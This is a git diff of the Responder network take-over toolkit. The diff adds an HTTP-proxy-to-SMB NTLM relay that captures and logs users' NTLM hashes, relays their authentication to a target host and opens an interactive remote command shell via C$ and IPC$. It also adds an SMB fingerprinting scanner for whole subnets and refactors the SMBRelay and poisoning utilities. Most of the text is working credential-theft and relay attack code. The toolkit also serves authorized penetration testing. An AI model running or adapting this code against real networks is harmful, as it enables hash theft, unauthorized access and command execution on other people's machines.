WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv1 hash from: %s"%(client)
if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
return None, None
else:
return User, HostName
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, key.encode("hex"), NTHash[:32], NTHash[32:])
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv2 hash from: %s"%(client)
if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
return None, None
else:
return User, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
def longueur(payload):
return struct.pack(">i", len(''.join(payload)))
def ExtractChallenge(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0]
if SecBlobLen < 255:
Challenge = data[102:110]
if SecBlobLen > 255:
Challenge = data[106:114]
print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
return Challenge
def ExtractRawNTLMPacket(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0]
SSP = re.search("NTLMSSP", data[47:]).start()
RawNTLM = data[47+SSP:47+SecBlobLen]
return RawNTLM
def GetSessionResponseFlags(data):
if data[41:43] == "\x01\x00":
print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.."
def get_command():
global Cmd
Cmd = ""
while len(Cmd) is 0:
Cmd = raw_input("C:\\Windows\\system32\\:#")
def SMBKeepAlive(s, data, NextEcho = 20):
while True:
head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBEcho()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
time.sleep(NextEcho)
def HTTPProxyRelay():
so = socket(AF_INET,SOCK_STREAM)
so.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
try:
so.bind(('0.0.0.0', 3128))
so.listen(10)
s = socket(AF_INET, SOCK_STREAM)
s.connect(Host)
s.settimeout(30)
except:
"Cannot bind to port 3128, something else must be using it."
sys.exit(1)
try:
while True:
conn, addr = so.accept()
data = conn.recv(4096)
if not data:
break
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
## SMB Block. Relay PROXY NTLM NEGO to target srv.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048)
## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractChallenge(data)#Grab challenge key
conn.send(str(Buffer_Ans))
data = conn.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
Username, Domain = ParseHTTPHash(NTLM_Auth, key, addr[0])
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
return smbdata, s, addr[0], Username, Domain
else:
return None
else:
Response = WPAD_Auth_407_Ans()
conn.send(str(Response))
data = conn.recv(4096)
except:
return None
def RunPsExec(Host):
GetCredentials = HTTPProxyRelay()
if GetCredentials == None:
return False
data, s, clientIP, Username, Domain = GetCredentials
if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
## First, check if user has admin privs on C$:
## Tree Connect
if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#Verify if the target returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
return False
## Fail Handling.
if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned."
return False
## Tree Connect
if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Go to NtCreateAndx
if data[8:10] == "\x75\x00":
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
while True:
if data[8:10] == "\x75\x00":
#thread.start_new_thread(SMBKeepAlive, (s,data, 15)) #keep it alive every 15 secs.
thread.start_new_thread(get_command, ())
while Cmd == "":
pass
if Cmd == "exit":
sys.exit(1)
data = RunCmd(data, s, clientIP, Username, Domain, Cmd, Logs, Host)
if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection. Make sure to clean the server (\\Windows\\Temp\\)\033[0m\n"
if data[8:10] == "\x2d\x34":#Confirmed with OpenAndX that no file remains.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
while len(Cmd2) is 0:
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
if Cmd2 == "exit":
sys.exit(1)
data = RunCmd(data, s, clientIP, Username, Domain, Cmd2, Logs, Host)
if data[8:10] == "\x2d\x00":
print "[*] File still exist (Windows\\Temp\\Results.txt), server's not playing nicely."
def main():
try:
num_thrd = 1
while num_thrd > 0:
RunPsExec(Host)
time.sleep(1)
except KeyboardInterrupt:
exit()
if __name__ == '__main__':
try:
main()
except:
raise

117
tools/RelayHTTPSMB/odict.py Normal file
View File

@@ -0,0 +1,117 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):
def __init__(self, *args, **kwds):
if len(args) > 1:
raise TypeError('expected at most 1 arguments, got %d' % len(args))
try:
self.__end
except AttributeError:
self.clear()
self.update(*args, **kwds)
def clear(self):
self.__end = end = []
end += [None, end, end]
self.__map = {}
dict.clear(self)
def __setitem__(self, key, value):
if key not in self:
end = self.__end
curr = end[1]
curr[2] = end[1] = self.__map[key] = [key, curr, end]
dict.__setitem__(self, key, value)
def __delitem__(self, key):
dict.__delitem__(self, key)
key, prev, next = self.__map.pop(key)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.__end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.__end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
else:
key = iter(self).next()
value = self.pop(key)
return key, value
def __reduce__(self):
items = [[k, self[k]] for k in self]
tmp = self.__map, self.__end
del self.__map, self.__end
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return self.__class__, (items,), inst_dict
return self.__class__, (items,)
def keys(self):
return list(self)
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
def copy(self):
return self.__class__(self)
@classmethod
def fromkeys(cls, iterable, value=None):
d = cls()
for key in iterable:
d[key] = value
return d
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,21 +15,10 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import sys
sys.path.append('../')
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from packets import Packet
class SMBHeader(Packet):
fields = OrderedDict([
@@ -351,4 +340,4 @@ class SMBDCESVCCTLStartService(Packet):
def ParseAnswerKey(data,host):
key = data[73:81]
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
return key
return key

234
tools/SMBFinger/Finger.py Executable file
View File

@@ -0,0 +1,234 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
from socket import *
from odict import OrderedDict
import optparse
__version__ = "0.3"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
options, args = parser.parse_args()
Timeout = 0.3
Host = options.TARGET
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x54\x00"),
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
#####################
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
return GetHostnameAndDomainName(data)
except:
pass
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
pass
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
print "Retrieving information for %s..."%Host[0]
OsVer, LanManClient = SmbFinger(Host)
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
Hostname, DomainJoined = DomainGrab(Host)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
ShowResults((host,445))
else:
ShowResults((Host,445))
RunFinger(Host)

106
tools/SMBFinger/odict.py Normal file
View File

@@ -0,0 +1,106 @@
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):
def __init__(self, *args, **kwds):
if len(args) > 1:
raise TypeError('expected at most 1 arguments, got %d' % len(args))
try:
self.__end
except AttributeError:
self.clear()
self.update(*args, **kwds)
def clear(self):
self.__end = end = []
end += [None, end, end]
self.__map = {}
dict.clear(self)
def __setitem__(self, key, value):
if key not in self:
end = self.__end
curr = end[1]
curr[2] = end[1] = self.__map[key] = [key, curr, end]
dict.__setitem__(self, key, value)
def __delitem__(self, key):
dict.__delitem__(self, key)
key, prev, next = self.__map.pop(key)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.__end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.__end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
else:
key = iter(self).next()
value = self.pop(key)
return key, value
def __reduce__(self):
items = [[k, self[k]] for k in self]
tmp = self.__map, self.__end
del self.__map, self.__end
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,)
def keys(self):
return list(self)
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
def copy(self):
return self.__class__(self)
@classmethod
def fromkeys(cls, iterable, value=None):
d = cls()
for key in iterable:
d[key] = value
return d
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

79
tools/SMBRelay.py Normal file → Executable file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,11 +14,26 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
import sys
import random
import optparse
import thread
sys.path.append('../')
from fingerprint import RunSmbFinger
from odict import OrderedDict
from socket import *
from RelayPackets import *
from packets import *
from servers.SMB import *
from packets import Packet
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
def longueur(payload):
return struct.pack(">i", len(''.join(payload)))
def UserCallBack(op, value, dmy, parser):
args=[]
@@ -42,68 +57,41 @@ if options.CMD is None:
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
parser.print_help()
exit(-1)
if options.TARGET is None:
elif options.TARGET is None:
print "\n-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
elif options.UserToRelay is None:
print "\n-u mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
ResponderPATH = os.path.dirname(__file__)
# Set some vars.
UserToRelay = options.UserToRelay
Domain = options.Domain
Command = options.CMD
Target = options.TARGET
Responder_IP = options.Responder_IP
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com"
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Logger
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
#Function used to verify if a previous auth attempt was made.
def ReadData(outfile,Client, User, cmd=None):
try:
with open(ResponderPATH+outfile,"r") as filestr:
if cmd == None:
if cmd is None:
String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return True
else:
return False
if cmd != None:
return False
if cmd is not None:
String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
return True
else:
return False
return False
except:
raise
@@ -121,7 +109,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
print "Username : ",Username
@@ -133,7 +120,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
@@ -143,9 +129,6 @@ def ParseHash(data,Client, Target):
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
else:
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
pass
except Exception:
raise
@@ -155,12 +138,10 @@ def Is_Anonymous(data):
if LMhashLen == 0 or LMhashLen == 1:
print "SMB Anonymous login requested, trying to force client to auth with credz."
return True
else:
return False
return False
def ParseDomain(data):
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
return Domain
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
@@ -255,7 +236,7 @@ def RunRelay(host, Command,Domain):
a = SmbRogueSrv139(Key,Target,DomainMachineName)
if a is not None:
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
if Domain == None:
if Domain is None:
Domain = OriginalDomain
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
pass

232
utils.py
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -21,7 +21,11 @@ import logging
import socket
import time
import settings
import datetime
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
try:
import sqlite3
except:
@@ -29,109 +33,109 @@ except:
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows...
if os.name == 'nt':
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt):
logging.info(txt)
stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt)
logging.info(stripcolors)
if os.name == 'nt':
return txt
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def IsOnTheSameSubnet(ip, net):
net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
return False
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
return False
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp not in settings.Config.DontRespondTo:
return True
return False
def RespondToThisName(Name):
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
return True
return False
def RespondToThisHost(ClientIp, Name):
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def IsOsX():
return True if settings.Config.Os_version == "darwin" else False
def RespondWithIPAton():
if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton
else:
return settings.Config.IP_aton
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return False if IsOsX() else True
else:
return False
return not IsOsX()
return False
def FindLocalIP(Iface):
def IsOsX():
return sys.platform == "darwin"
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
